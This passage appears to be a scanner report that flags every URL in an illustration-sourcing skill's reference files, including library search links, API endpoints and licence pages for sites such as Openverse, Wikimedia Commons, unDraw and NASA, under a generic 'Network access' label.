    - **Tip:** Add /multicolor/ or /flat/ to the URL: plain search leans to icons - **Tip:** Skip GPL items for art you ship in a closed product - **Agent steps:** (1) Give the person https://www.svgrepo.com/vectors/<q>/flat/ → (2) They open an
  • Network accessline 417
    - **Agent steps:** (1) Give the person https://www.svgrepo.com/vectors/<q>/flat/ → (2) They open an item, check LICENSE, click DOWNLOAD SVG → (3) illustrate.py add FILE --source svgrepo --licence "<as shown>"
  • Network accessline 421
    - **Good for:** feature - **Search:** `https://publicdomainvectors.org/search?q={q}`
  • Network accessline 422
    - **Search:** `https://publicdomainvectors.org/search?q={q}`
  • Network accessline 431
    - **Good for:** feature, success, notification - **Search:** `https://icon-sets.iconify.design/fluent-emoji-flat/?query={q}`
  • Network accessline 432
    - **Search:** `https://icon-sets.iconify.design/fluent-emoji-flat/?query={q}`
  • Network accessline 441
    - **Good for:** success, feature, loading - **Search:** `https://googlefonts.github.io/noto-emoji-animation/`
  • Network accessline 442
    - **Search:** `https://googlefonts.github.io/noto-emoji-animation/`
  • Network accessline 451
    - **Good for:** feature, success - **Search:** `https://openmoji.org/library/#search={q}`
  • Network accessline 452
    - **Search:** `https://openmoji.org/library/#search={q}`
  • Network accessline 461
    - **Good for:** feature, success - **Search:** `https://icon-sets.iconify.design/twemoji/?query={q}`
  • Network accessline 462
    - **Search:** `https://icon-sets.iconify.design/twemoji/?query={q}`
  • Network accessline 470
    - **Good for:** feature, hero, success - **Search:** `https://3dicons.co/explore`
  • Network accessline 471
    - **Search:** `https://3dicons.co/explore` - **Formats:** PNG, WebP - **Limits:** robots.txt blocks the download path; raster only, so colours cannot follow tokens
  • Network accessline 474
    - **Tip:** The site search ignores the URL: browse the ~200 icons - **Tip:** Pick one style (clay, colour, gradient) and one angle for the whole product - **Agent steps:** (1) Give the person https://3dicons.co/explore → (2) They open an ic
  • Network accessline 476
    - **Agent steps:** (1) Give the person https://3dicons.co/explore → (2) They open an icon, choose colour and angle, download → (3) Use the PNG as-is
  • Network accessline 480
    - **Good for:** hero - **Search:** `https://shapefest.com`
  • Network accessline 481
    - **Search:** `https://shapefest.com`
  • Network accessline 483
    - **Limits:** Assets cannot be resold or redistributed on their own; free packs are 512 px PNG - **Tip:** Hue-shift in an image editor to approach your accent - **Agent steps:** (1) Give the person https://shapefest.com → (2) They download 
  • Network accessline 485
    - **Agent steps:** (1) Give the person https://shapefest.com → (2) They download a free pack → (3) Use the PNG as-is
  • Network accessline 489
    - **Good for:** hero - **Search:** `https://community.spline.design/search?query={q}`
  • Network accessline 490
    - **Search:** `https://community.spline.design/search?query={q}`
  • Network accessline 498
    - **Good for:** success, loading, onboarding - **Search:** `https://lottiefiles.com/free-animations/{q}`
  • Network accessline 499
    - **Search:** `https://lottiefiles.com/free-animations/{q}`
  • Network accessline 508
    - **Good for:** loading, success - **Search:** `https://useanimations.com`
  • Network accessline 509
    - **Search:** `https://useanimations.com`
  • Network accessline 517
    - **Good for:** onboarding, success - **Search:** `https://rive.app/marketplace/`
  • Network accessline 518
    - **Search:** `https://rive.app/marketplace/`
  • Network accessline 526
    - **Good for:** hero - **Search:** `https://app.haikei.app`
  • Network accessline 527
    - **Search:** `https://app.haikei.app`
  • Network accessline 531
    - **Tip:** Enter your accent and neutral token hexes, then export SVG - **Tip:** Use for section backgrounds, not as the message - **Agent steps:** (1) Give the person https://app.haikei.app → (2) They pick a generator, set colours, export 
  • Network accessline 533
    - **Agent steps:** (1) Give the person https://app.haikei.app → (2) They pick a generator, set colours, export SVG → (3) illustrate.py add FILE --source haikei --licence "Haikei output"
  • Network accessline 537
    - **Good for:** hero - **Search:** `https://heropatterns.com`
  • Network accessline 538
    - **Search:** `https://heropatterns.com`
  • Network accessline 547
    - **Good for:** hero - **Search:** `https://fffuel.co`
  • Network accessline 548
    - **Search:** `https://fffuel.co`

skills/opendesigner-illustrate/references/ranking.md

  • Network accessline 9
    | 3 | **Not another brand's identity.** Is it from an open library, not lifted from a product or site? | It comes from a brand's own pages | `guardrails.md`; DC-L05-14 (IBM: reject what "any other organization" could have made) | | 4 | **St
  • Network accessline 10
    | 4 | **Style fit.** Does line weight match the icon stroke, corner softness match the Roundness dial, and busyness match Expression? | A thin-line doodle beside a bold filled UI, or the reverse | DC-L05-19 | | 5 | **One style.** Same libra
  • Network accessline 11
    | 5 | **One style.** Same library or set as the art already applied (the style lock)? | A second library when the first one has a fitting piece | DC-L05-19; "one library per project" (https://muz.li/blog/best-free-illustration-libraries-for
  • Network accessline 18
    ## Vibe Style sets the tone: blobs and bright colors read playful, doodles sit in the middle, realistic art reads professional [S-L19-063]. The flat "Corporate Memphis" look that unDraw and Humaaans helped spread is now common enough that s
  • Network accessline 19
    Style sets the tone: blobs and bright colors read playful, doodles sit in the middle, realistic art reads professional [S-L19-063]. The flat "Corporate Memphis" look that unDraw and Humaaans helped spread is now common enough that some revi

skills/opendesigner-illustrate/references/sources.json

  • Network accessline 7
    "id": "openverse",       "name": "Openverse (WordPress; Creative Commons search)",       "url": "https://openverse.org",
  • Network accessline 8
    "name": "Openverse (WordPress; Creative Commons search)",       "url": "https://openverse.org",       "access": "api",
  • Network accessline 9
    "url": "https://openverse.org",
  • Network accessline 11
    "default": true,       "licence": "Per item (CC0, CC BY, CC BY-SA, PDM)",       "licence_url": "https://docs.openverse.org/terms_of_service.html",
  • Network accessline 12
    "licence": "Per item (CC0, CC BY, CC BY-SA, PDM)",       "licence_url": "https://docs.openverse.org/terms_of_service.html",       "attribution": "per-item",
  • Network accessline 13
    "licence_url": "https://docs.openverse.org/terms_of_service.html",
  • Network accessline 16
    "restrictions": "Openverse does not verify licences; check the item page before shipping",       "api": {         "endpoint": "https://api.openverse.org/v1/images/",
  • Network accessline 17
    "api": {         "endpoint": "https://api.openverse.org/v1/images/",         "limits": "anonymous: page_size <= 20, about 20 requests a minute and 200 a day"
  • Network accessline 18
    "endpoint": "https://api.openverse.org/v1/images/",         "limits": "anonymous: page_size <= 20, about 20 requests a minute and 200 a day"       },
  • Network accessline 20
    },       "attribution_template": "“{title}” by {author}, {licence}, {page}",       "evidence": "https://api.openverse.org/v1/images/?q=team&extension=svg&category=illustration (live 2026-09-28)",
  • Network accessline 21
    "attribution_template": "“{title}” by {author}, {licence}, {page}",       "evidence": "https://api.openverse.org/v1/images/?q=team&extension=svg&category=illustration (live 2026-09-28)",       "author": "",
  • Network accessline 22
    "evidence": "https://api.openverse.org/v1/images/?q=team&extension=svg&category=illustration (live 2026-09-28)",
  • Network accessline 31
    "JPG"       ],       "search_url": "https://openverse.org/search/image?q={q}&extension=svg&license_type=commercial,modification",
  • Network accessline 32
    ],       "search_url": "https://openverse.org/search/image?q={q}&extension=svg&license_type=commercial,modification",       "filters": "licence (cc0, pdm, by, by-sa), licence type (commercial, modification), extension, category (illustratio
  • Network accessline 33
    "search_url": "https://openverse.org/search/image?q={q}&extension=svg&license_type=commercial,modification",
  • Network accessline 54
    "id": "commons",       "name": "Wikimedia Commons",       "url": "https://commons.wikimedia.org",
  • Network accessline 55
    "name": "Wikimedia Commons",       "url": "https://commons.wikimedia.org",       "access": "api",
  • Network accessline 56
    "url": "https://commons.wikimedia.org",
  • Network accessline 58
    "default": true,       "licence": "Per file (public domain, CC0, CC BY, CC BY-SA)",       "licence_url": "https://commons.wikimedia.org/wiki/Commons:Reusing_content_outside_Wikimedia",
  • Network accessline 59
    "licence": "Per file (public domain, CC0, CC BY, CC BY-SA)",       "licence_url": "https://commons.wikimedia.org/wiki/Commons:Reusing_content_outside_Wikimedia",       "attribution": "per-item",
  • Network accessline 60
    "licence_url": "https://commons.wikimedia.org/wiki/Commons:Reusing_content_outside_Wikimedia",
  • Network accessline 63
    "restrictions": "ShareAlike files pass their licence on to changed versions; results lean to diagrams and emblems",       "api": {         "endpoint": "https://commons.wikimedia.org/w/api.php"
  • Network accessline 64
    "api": {         "endpoint": "https://commons.wikimedia.org/w/api.php"       },
  • Network accessline 65
    "endpoint": "https://commons.wikimedia.org/w/api.php"
  • Network accessline 66
    },       "attribution_template": "“{title}” by {author}, {licence}, via Wikimedia Commons, {page}",       "evidence": "https://commons.wikimedia.org/w/api.php?action=query&generator=search&gsrsearch=rocket%20filemime:image/svg%2Bxml (live 2
  • Network accessline 67
    "attribution_template": "“{title}” by {author}, {licence}, via Wikimedia Commons, {page}",       "evidence": "https://commons.wikimedia.org/w/api.php?action=query&generator=search&gsrsearch=rocket%20filemime:image/svg%2Bxml (live 2026-09-28
  • Network accessline 68
    "evidence": "https://commons.wikimedia.org/w/api.php?action=query&generator=search&gsrsearch=rocket%20filemime:image/svg%2Bxml (live 2026-09-28)",
  • Network accessline 76
    "PNG"       ],       "search_url": "https://commons.wikimedia.org/w/index.php?search={q}+filemime%3Aimage%2Fsvg%2Bxml&title=Special:MediaSearch&type=image",
  • Network accessline 77
    ],       "search_url": "https://commons.wikimedia.org/w/index.php?search={q}+filemime%3Aimage%2Fsvg%2Bxml&title=Special:MediaSearch&type=image",       "filters": "filemime:image/svg+xml, incategory:\"...\", licence shown per file",
  • Network accessline 78
    "search_url": "https://commons.wikimedia.org/w/index.php?search={q}+filemime%3Aimage%2Fsvg%2Bxml&title=Special:MediaSearch&type=image",
  • Network accessline 97
    "id": "opendoodles",       "name": "Open Doodles (Pablo Stanley)",       "url": "https://www.opendoodles.com",
  • Network accessline 98
    "name": "Open Doodles (Pablo Stanley)",       "url": "https://www.opendoodles.com",       "access": "api",
  • Network accessline 99
    "url": "https://www.opendoodles.com",
  • Network accessline 101
    "default": true,       "licence": "Free commercial use, no credit (site terms)",       "licence_url": "https://www.opendoodles.com/about",
  • Network accessline 102
    "licence": "Free commercial use, no credit (site terms)",       "licence_url": "https://www.opendoodles.com/about",       "attribution": "none",
  • Network accessline 103
    "licence_url": "https://www.opendoodles.com/about",
  • Network accessline 106
    "restrictions": "",       "api": {         "endpoint": "https://www.opendoodles.com/",
  • Network accessline 107
    "api": {         "endpoint": "https://www.opendoodles.com/",         "listing": "https://opendoodles\\.s3-us-west-1\\.amazonaws\\.com/[^\"' )]+\\.svg"
  • Network accessline 108
    "endpoint": "https://www.opendoodles.com/",
  • Network accessline 109
    "listing": "https://opendoodles\\.s3-us-west-1\\.amazonaws\\.com/[^\"' )]+\\.svg"
  • Network accessline 122
    ],       "customize": "Generator at generator.opendoodles.com; compositions on the site",       "search_url": "https://www.opendoodles.com",
  • Network accessline 123
    "customize": "Generator at generator.opendoodles.com; compositions on the site",       "search_url": "https://www.opendoodles.com",       "search_tips": [
  • Network accessline 124
    "search_url": "https://www.opendoodles.com",
  • Network accessline 141
    "id": "lukaszadam",       "name": "Lukasz Adam free illustrations",       "url": "https://lukaszadam.com/illustrations",
  • Network accessline 142
    "name": "Lukasz Adam free illustrations",       "url": "https://lukaszadam.com/illustrations",       "access": "api",
  • Network accessline 143
    "url": "https://lukaszadam.com/illustrations",
  • Network accessline 145
    "default": true,       "licence": "CC0 (the page says 'CC0 license (MIT license)', naming both)",       "licence_url": "https://lukaszadam.com/illustrations",
  • Network accessline 146
    "licence": "CC0 (the page says 'CC0 license (MIT license)', naming both)",       "licence_url": "https://lukaszadam.com/illustrations",       "attribution": "none",
  • Network accessline 147
    "licence_url": "https://lukaszadam.com/illustrations",
  • Network accessline 150
    "restrictions": "The page names two licences; it also says no attribution is required. Keep the page URL in the ledger as the record",       "api": {         "endpoint": "https://lukaszadam.com/illustrations",
  • Network accessline 151
    "api": {         "endpoint": "https://lukaszadam.com/illustrations",         "listing": "/images/free-illustrations/[^\"' )]+\\.svg",
  • Network accessline 152
    "endpoint": "https://lukaszadam.com/illustrations",
  • Network accessline 153
    "listing": "/images/free-illustrations/[^\"' )]+\\.svg",         "base": "https://lukaszadam.com"       },
  • Network accessline 154
    "base": "https://lukaszadam.com"
  • Network accessline 164
    "PNG"       ],       "search_url": "https://lukaszadam.com/illustrations",
  • Network accessline 165
    ],       "search_url": "https://lukaszadam.com/illustrations",       "search_tips": [
  • Network accessline 166
    "search_url": "https://lukaszadam.com/illustrations",
  • Network accessline 182
    "id": "cocomaterial",       "name": "CocoMaterial",       "url": "https://cocomaterial.com",
  • Network accessline 183
    "name": "CocoMaterial",       "url": "https://cocomaterial.com",       "access": "api",
  • Network accessline 184
    "url": "https://cocomaterial.com",
  • Network accessline 191
    "style": "hand-drawn black-line doodles, optional flat colour",       "licence": "CC0",       "licence_url": "https://cocomaterial.com/license",
  • Network accessline 192
    "licence": "CC0",       "licence_url": "https://cocomaterial.com/license",       "attribution": "none",
  • Network accessline 193
    "licence_url": "https://cocomaterial.com/license",
  • Network accessline 200
    "GIF"       ],       "search_url": "https://cocomaterial.com/results?q={q}",
  • Network accessline 201
    ],       "search_url": "https://cocomaterial.com/results?q={q}",       "filters": "tags (combined with AND)",
  • Network accessline 202
    "search_url": "https://cocomaterial.com/results?q={q}",
  • Network accessline 204
    "customize": "Colour picker for stroke and fill",       "api": {         "endpoint": "https://cocomaterial.com/api/vectors/",
  • Network accessline 205
    "api": {         "endpoint": "https://cocomaterial.com/api/vectors/",         "tags": "https://cocomaterial.com/api/tags/"
  • Network accessline 206
    "endpoint": "https://cocomaterial.com/api/vectors/",
  • Network accessline 207
    "tags": "https://cocomaterial.com/api/tags/"
  • Network accessline 222
    ],       "author": "CocoMaterial",       "evidence": "https://cocomaterial.com/license and /api/vectors/?tags=team (30 results; live 2026-09-28); robots.txt allows all"
  • Network accessline 223
    "author": "CocoMaterial",       "evidence": "https://cocomaterial.com/license and /api/vectors/?tags=team (30 results; live 2026-09-28); robots.txt allows all"     },
  • Network accessline 224
    "evidence": "https://cocomaterial.com/license and /api/vectors/?tags=team (30 results; live 2026-09-28); robots.txt allows all"
  • Network accessline 227
    "id": "iconify",       "name": "Iconify multicolor sets (spot art, not scenes)",       "url": "https://icon-sets.iconify.design",
  • Network accessline 228
    "name": "Iconify multicolor sets (spot art, not scenes)",       "url": "https://icon-sets.iconify.design",       "access": "api",
  • Network accessline 229
    "url": "https://icon-sets.iconify.design",
  • Network accessline 231
    "default": false,       "licence": "Per set (MIT, Apache-2.0, CC-BY-4.0)",       "licence_url": "https://iconify.design/docs/api/",
  • Network accessline 232
    "licence": "Per set (MIT, Apache-2.0, CC-BY-4.0)",       "licence_url": "https://iconify.design/docs/api/",       "attribution": "per-item",
  • Network accessline 233
    "licence_url": "https://iconify.design/docs/api/",
  • Network accessline 243
    ],       "api": {         "endpoint": "https://api.iconify.design",
  • Network accessline 244
    "api": {         "endpoint": "https://api.iconify.design",         "prefixes": [
  • Network accessline 245
    "endpoint": "https://api.iconify.design",
  • Network accessline 257
    "attribution_template": "{title} from {set} by {author}, {licence}",       "style": "small multicolor objects and emoji for feature tiles and compact empty states",       "evidence": "https://api.iconify.design/collections categories 'UI Mu
  • Network accessline 258
    "style": "small multicolor objects and emoji for feature tiles and compact empty states",       "evidence": "https://api.iconify.design/collections categories 'UI Multicolor' and 'Emoji' with licence.spdx (live 2026-09-28)",       "author":
  • Network accessline 259
    "evidence": "https://api.iconify.design/collections categories 'UI Multicolor' and 'Emoji' with licence.spdx (live 2026-09-28)",
  • Network accessline 265
    "SVG"       ],       "search_url": "https://icon-sets.iconify.design/?query={q}",
  • Network accessline 266
    ],       "search_url": "https://icon-sets.iconify.design/?query={q}",       "search_tips": [
  • Network accessline 267
    "search_url": "https://icon-sets.iconify.design/?query={q}",
  • Network accessline 283
    "id": "illlustrations",       "name": "illlustrations (Vijay Verma)",       "url": "https://illlustrations.co",
  • Network accessline 284
    "name": "illlustrations (Vijay Verma)",       "url": "https://illlustrations.co",       "access": "open",
  • Network accessline 285
    "url": "https://illlustrations.co",
  • Network accessline 292
    "style": "flat, bold-outlined objects and characters from a 100-day challenge",       "licence": "CC0 (the 120+ v1 illustrations)",       "licence_url": "https://illlustrations.co/license",
  • Network accessline 293
    "licence": "CC0 (the 120+ v1 illustrations)",       "licence_url": "https://illlustrations.co/license",       "attribution": "none",
  • Network accessline 294
    "licence_url": "https://illlustrations.co/license",
  • Network accessline 301
    ],       "signup": "v1 free, no sign-up; builder SVG needs Pro",       "search_url": "https://illlustrations.co/explore",
  • Network accessline 302
    "signup": "v1 free, no sign-up; builder SVG needs Pro",       "search_url": "https://illlustrations.co/explore",       "customize": "Croods v2 character builder",
  • Network accessline 303
    "search_url": "https://illlustrations.co/explore",
  • Network accessline 306
    {           "name": "Figma: illlustrations",           "url": "https://www.figma.com/community/plugin/1124370159336948073/illlustrations"
  • Network accessline 307
    "name": "Figma: illlustrations",           "url": "https://www.figma.com/community/plugin/1124370159336948073/illlustrations"         }
  • Network accessline 308
    "url": "https://www.figma.com/community/plugin/1124370159336948073/illlustrations"
  • Network accessline 314
    ],       "navigate": [         "Open https://illlustrations.co/explore and type a noun",
  • Network accessline 315
    "navigate": [         "Open https://illlustrations.co/explore and type a noun",         "Open an item and download SVG",
  • Network accessline 316
    "Open https://illlustrations.co/explore and type a noun",         "Open an item and download SVG",         "illustrate.py add FILE --source illlustrations --url <item page>"
  • Network accessline 324
    ],       "author": "Vijay Verma",       "evidence": "https://illlustrations.co/license (updated Sep 2026, read 2026-09-28); no robots.txt"
  • Network accessline 325
    "author": "Vijay Verma",       "evidence": "https://illlustrations.co/license (updated Sep 2026, read 2026-09-28); no robots.txt"     },
  • Network accessline 326
    "evidence": "https://illlustrations.co/license (updated Sep 2026, read 2026-09-28); no robots.txt"
  • Network accessline 329
    "id": "openclipart",       "name": "Openclipart",       "url": "https://openclipart.org",
  • Network accessline 330
    "name": "Openclipart",       "url": "https://openclipart.org",       "access": "open",
  • Network accessline 331
    "url": "https://openclipart.org",
  • Network accessline 338
    "style": "mixed-quality community clipart (186,000+)",       "licence": "CC0",       "licence_url": "https://openclipart.org/share",
  • Network accessline 339
    "licence": "CC0",       "licence_url": "https://openclipart.org/share",       "attribution": "none",
  • Network accessline 340
    "licence_url": "https://openclipart.org/share",
  • Network accessline 346
    "PNG"       ],       "search_url": "https://openclipart.org/search/?query={q}",
  • Network accessline 347
    ],       "search_url": "https://openclipart.org/search/?query={q}",       "search_tips": [
  • Network accessline 348
    "search_url": "https://openclipart.org/search/?query={q}",
  • Network accessline 361
    ],       "author": "",       "evidence": "https://openclipart.org/share and robots.txt (allows all; read 2026-09-28)"
  • Network accessline 362
    "author": "",       "evidence": "https://openclipart.org/share and robots.txt (allows all; read 2026-09-28)"     },
  • Network accessline 363
    "evidence": "https://openclipart.org/share and robots.txt (allows all; read 2026-09-28)"
  • Network accessline 366
    "id": "nasa",       "name": "NASA Image and Video Library",       "url": "https://images.nasa.gov",
  • Network accessline 367
    "name": "NASA Image and Video Library",       "url": "https://images.nasa.gov",       "access": "open",
  • Network accessline 368
    "url": "https://images.nasa.gov",
  • Network accessline 374
    "style": "photos, technical renders and artist concept art",       "licence": "NASA media guidelines (generally not copyrighted in the US)",       "licence_url": "https://www.nasa.gov/nasa-brand-center/images-and-media/",
  • Network accessline 375
    "licence": "NASA media guidelines (generally not copyrighted in the US)",       "licence_url": "https://www.nasa.gov/nasa-brand-center/images-and-media/",       "attribution": "required",
  • Network accessline 376
    "licence_url": "https://www.nasa.gov/nasa-brand-center/images-and-media/",
  • Network accessline 383
    "TIFF"       ],       "search_url": "https://images.nasa.gov/search?q={q}&media=image",
  • Network accessline 384
    ],       "search_url": "https://images.nasa.gov/search?q={q}&media=image",       "api": {
  • Network accessline 385
    "search_url": "https://images.nasa.gov/search?q={q}&media=image",
  • Network accessline 386
    "api": {         "endpoint": "https://images-api.nasa.gov/search"       },
  • Network accessline 387
    "endpoint": "https://images-api.nasa.gov/search"
  • Network accessline 392
    ],       "navigate": [         "Call https://images-api.nasa.gov/search?q=<q>&media_type=image",
  • Network accessline 393
    "navigate": [         "Call https://images-api.nasa.gov/search?q=<q>&media_type=image",         "Drop items with insignia or people",
  • Network accessline 394
    "Call https://images-api.nasa.gov/search?q=<q>&media_type=image",
  • Network accessline 406
    "id": "met",       "name": "The Met Open Access",       "url": "https://www.metmuseum.org/art/collection",
  • Network accessline 407
    "name": "The Met Open Access",       "url": "https://www.metmuseum.org/art/collection",       "access": "open",
  • Network accessline 408
    "url": "https://www.metmuseum.org/art/collection",
  • Network accessline 414
    "style": "prints, etchings, botanical and ornament drawings",       "licence": "CC0 where isPublicDomain is true",       "licence_url": "https://metmuseum.github.io",
  • Network accessline 415
    "licence": "CC0 where isPublicDomain is true",       "licence_url": "https://metmuseum.github.io",       "attribution": "none",
  • Network accessline 416
    "licence_url": "https://metmuseum.github.io",
  • Network accessline 421
    "JPG"       ],       "search_url": "https://www.metmuseum.org/art/collection/search?q={q}&showOnly=openAccess",
  • Network accessline 422
    ],       "search_url": "https://www.metmuseum.org/art/collection/search?q={q}&showOnly=openAccess",       "api": {
  • Network accessline 423
    "search_url": "https://www.metmuseum.org/art/collection/search?q={q}&showOnly=openAccess",
  • Network accessline 424
    "api": {         "endpoint": "https://collectionapi.metmuseum.org/public/collection/v1.1/search"       },
  • Network accessline 425
    "endpoint": "https://collectionapi.metmuseum.org/public/collection/v1.1/search"
  • Network accessline 444
    "id": "smithsonian",       "name": "Smithsonian Open Access",       "url": "https://www.si.edu/openaccess",
  • Network accessline 445
    "name": "Smithsonian Open Access",       "url": "https://www.si.edu/openaccess",       "access": "open",
  • Network accessline 446
    "url": "https://www.si.edu/openaccess",
  • Network accessline 452
    "style": "historic engravings, pattern designs, specimen drawings",       "licence": "CC0 per item",       "licence_url": "https://www.si.edu/openaccess",
  • Network accessline 453
    "licence": "CC0 per item",       "licence_url": "https://www.si.edu/openaccess",       "attribution": "none",
  • Network accessline 454
    "licence_url": "https://www.si.edu/openaccess",
  • Network accessline 460
    "TIFF"       ],       "search_url": "https://www.si.edu/search/collection-images?edan_q={q}&edan_fq[]=media_usage:CC0",
  • Network accessline 461
    ],       "search_url": "https://www.si.edu/search/collection-images?edan_q={q}&edan_fq[]=media_usage:CC0",       "api": {
  • Network accessline 462
    "search_url": "https://www.si.edu/search/collection-images?edan_q={q}&edan_fq[]=media_usage:CC0",
  • Network accessline 463
    "api": {         "endpoint": "https://api.si.edu/openaccess/api/v1.0/search"       },
  • Network accessline 464
    "endpoint": "https://api.si.edu/openaccess/api/v1.0/search"
  • Network accessline 483
    "id": "doodleipsum",       "name": "Doodle Ipsum (placeholders)",       "url": "https://doodleipsum.com",
  • Network accessline 484
    "name": "Doodle Ipsum (placeholders)",       "url": "https://doodleipsum.com",       "access": "open",
  • Network accessline 485
    "url": "https://doodleipsum.com",
  • Network accessline 491
    "style": "Blush doodles served as placeholder images by URL",       "licence": "Blush licence",       "licence_url": "https://blush.design/license",
  • Network accessline 492
    "licence": "Blush licence",       "licence_url": "https://blush.design/license",       "attribution": "none",
  • Network accessline 493
    "licence_url": "https://blush.design/license",
  • Network accessline 498
    "PNG"       ],       "search_url": "https://doodleipsum.com",
  • Network accessline 499
    ],       "search_url": "https://doodleipsum.com",       "customize": "Style, size, background colour, circle shape",
  • Network accessline 500
    "search_url": "https://doodleipsum.com",
  • Network accessline 501
    "customize": "Style, size, background colour, circle shape",       "search_tips": [         "URL pattern: https://doodleipsum.com/600x400/flat?bg=<surface hex>",
  • Network accessline 502
    "search_tips": [         "URL pattern: https://doodleipsum.com/600x400/flat?bg=<surface hex>",         "Keep the redirected URL with i=<id> to pin one image"
  • Network accessline 503
    "URL pattern: https://doodleipsum.com/600x400/flat?bg=<surface hex>",
  • Network accessline 519
    "id": "kenney",       "name": "Kenney",       "url": "https://kenney.nl/assets",
  • Network accessline 520
    "name": "Kenney",       "url": "https://kenney.nl/assets",       "access": "open",
  • Network accessline 521
    "url": "https://kenney.nl/assets",
  • Network accessline 528
    "style": "game sprites and 3D kits, not UI illustration",       "licence": "CC0",       "licence_url": "https://kenney.nl/support",
  • Network accessline 529
    "licence": "CC0",       "licence_url": "https://kenney.nl/support",       "attribution": "none",
  • Network accessline 530
    "licence_url": "https://kenney.nl/support",
  • Network accessline 537
    "3D"       ],       "search_url": "https://kenney.nl/assets?search={q}",
  • Network accessline 538
    ],       "search_url": "https://kenney.nl/assets?search={q}",       "search_tips": [
  • Network accessline 539
    "search_url": "https://kenney.nl/assets?search={q}",
  • Network accessline 551
    ],       "author": "Kenney",       "evidence": "https://kenney.nl/support (read 2026-09-28)"
  • Network accessline 552
    "author": "Kenney",       "evidence": "https://kenney.nl/support (read 2026-09-28)"     },
  • Network accessline 553
    "evidence": "https://kenney.nl/support (read 2026-09-28)"
  • Network accessline 556
    "id": "undraw",       "name": "unDraw (Katerina Limpitsouni)",       "url": "https://undraw.co",
  • Network accessline 557
    "name": "unDraw (Katerina Limpitsouni)",       "url": "https://undraw.co",       "access": "manual",
  • Network accessline 558
    "url": "https://undraw.co",
  • Network accessline 559
    "access": "manual",       "default": true,       "search_url": "https://undraw.co/search/{q}",
  • Network accessline 560
    "default": true,       "search_url": "https://undraw.co/search/{q}",       "licence": "unDraw licence (free commercial, no credit)",
  • Network accessline 561
    "search_url": "https://undraw.co/search/{q}",
  • Network accessline 562
    "licence": "unDraw licence (free commercial, no credit)",       "licence_url": "https://undraw.co/license",       "attribution": "none",
  • Network accessline 563
    "licence_url": "https://undraw.co/license",
  • Network accessline 566
    "restrictions": "No automated search or download, no integrations, no packs or competing service, no AI training. The person picks and downloads; set the site's color picker to the accent token first",       "style": "flat scenes with one a
  • Network accessline 567
    "style": "flat scenes with one accent color (#6c63ff by default) and gray neutrals; the most recognised free style",       "evidence": "https://undraw.co/license (read 2026-09-28); robots.txt disallows /api/",       "author": "Katerina Limp
  • Network accessline 568
    "evidence": "https://undraw.co/license (read 2026-09-28); robots.txt disallows /api/",
  • Network accessline 584
    ],       "navigate": [         "Give the person https://undraw.co/search/<q>",
  • Network accessline 585
    "navigate": [         "Give the person https://undraw.co/search/<q>",         "They set the colour swatch, open a card, click Download SVG",
  • Network accessline 586
    "Give the person https://undraw.co/search/<q>",         "They set the colour swatch, open a card, click Download SVG",         "illustrate.py add FILE --source undraw --url <item page>"
  • Network accessline 599
    "id": "storyset",       "name": "Storyset (Freepik)",       "url": "https://storyset.com",
  • Network accessline 600
    "name": "Storyset (Freepik)",       "url": "https://storyset.com",       "access": "manual",
  • Network accessline 601
    "url": "https://storyset.com",
  • Network accessline 602
    "access": "manual",       "default": false,       "search_url": "https://storyset.com/search?q={q}",
  • Network accessline 603
    "default": false,       "search_url": "https://storyset.com/search?q={q}",       "licence": "Storyset terms (free with credit)",
  • Network accessline 604
    "search_url": "https://storyset.com/search?q={q}",
  • Network accessline 605
    "licence": "Storyset terms (free with credit)",       "licence_url": "https://storyset.com/terms",       "attribution": "required",
  • Network accessline 606
    "licence_url": "https://storyset.com/terms",
  • Network accessline 610
    "attribution_template": "Illustration by Storyset (storyset.com)",       "style": "flat and isometric scenes in several styles, editable colors on the site",       "evidence": "https://storyset.com/terms (read 2026-09-28); hooks.json S-L17-
  • Network accessline 611
    "style": "flat and isometric scenes in several styles, editable colors on the site",       "evidence": "https://storyset.com/terms (read 2026-09-28); hooks.json S-L17-525",       "author": "Storyset (Freepik)",
  • Network accessline 612
    "evidence": "https://storyset.com/terms (read 2026-09-28); hooks.json S-L17-525",
  • Network accessline 628
    {           "name": "Figma: Stories by Freepik",           "url": "https://www.figma.com/community/plugin/865232148477039928/Stories-by-Freepik"
  • Network accessline 629
    "name": "Figma: Stories by Freepik",           "url": "https://www.figma.com/community/plugin/865232148477039928/Stories-by-Freepik"         }
  • Network accessline 630
    "url": "https://www.figma.com/community/plugin/865232148477039928/Stories-by-Freepik"
  • Network accessline 637
    ],       "navigate": [         "Give the person https://storyset.com/search?q=<q>&style=<style>",
  • Network accessline 638
    "navigate": [         "Give the person https://storyset.com/search?q=<q>&style=<style>",         "They open an item, click Change color, pick the background",
  • Network accessline 639
    "Give the person https://storyset.com/search?q=<q>&style=<style>",         "They open an item, click Change color, pick the background",         "They click Download SVG; illustrate.py add FILE --source storyset --url <item page>"
  • Network accessline 652
    "id": "openpeeps",       "name": "Open Peeps (Pablo Stanley)",       "url": "https://www.openpeeps.com",
  • Network accessline 653
    "name": "Open Peeps (Pablo Stanley)",       "url": "https://www.openpeeps.com",       "access": "manual",
  • Network accessline 654
    "url": "https://www.openpeeps.com",
  • Network accessline 655
    "access": "manual",       "default": true,       "search_url": "https://www.openpeeps.com",
  • Network accessline 656
    "default": true,       "search_url": "https://www.openpeeps.com",       "licence": "CC0",
  • Network accessline 657
    "search_url": "https://www.openpeeps.com",
  • Network accessline 658
    "licence": "CC0",       "licence_url": "https://www.openpeeps.com",       "attribution": "none",
  • Network accessline 659
    "licence_url": "https://www.openpeeps.com",
  • Network accessline 662
    "restrictions": "About 93 ready-made peeps are linked as SVG on the homepage; the full library is $0 on Gumroad; treated as manual until the site host's terms are checked",       "style": "hand-drawn people you mix from parts",       "evide
  • Network accessline 663
    "style": "hand-drawn people you mix from parts",       "evidence": "https://www.openpeeps.com (read 2026-09-28)",       "author": "Pablo Stanley",
  • Network accessline 664
    "evidence": "https://www.openpeeps.com (read 2026-09-28)",
  • Network accessline 679
    ],       "navigate": [         "Give the person https://www.openpeeps.com",
  • Network accessline 680
    "navigate": [         "Give the person https://www.openpeeps.com",         "They scroll to Grab and go! and click SVG under a peep",
  • Network accessline 681
    "Give the person https://www.openpeeps.com",
  • Network accessline 692
    "id": "humaaans",       "name": "Humaaans (Pablo Stanley)",       "url": "https://www.humaaans.com",
  • Network accessline 693
    "name": "Humaaans (Pablo Stanley)",       "url": "https://www.humaaans.com",       "access": "manual",
  • Network accessline 694
    "url": "https://www.humaaans.com",
  • Network accessline 695
    "access": "manual",       "default": false,       "search_url": "https://www.humaaans.com",
  • Network accessline 696
    "default": false,       "search_url": "https://www.humaaans.com",       "licence": "CC0",
  • Network accessline 697
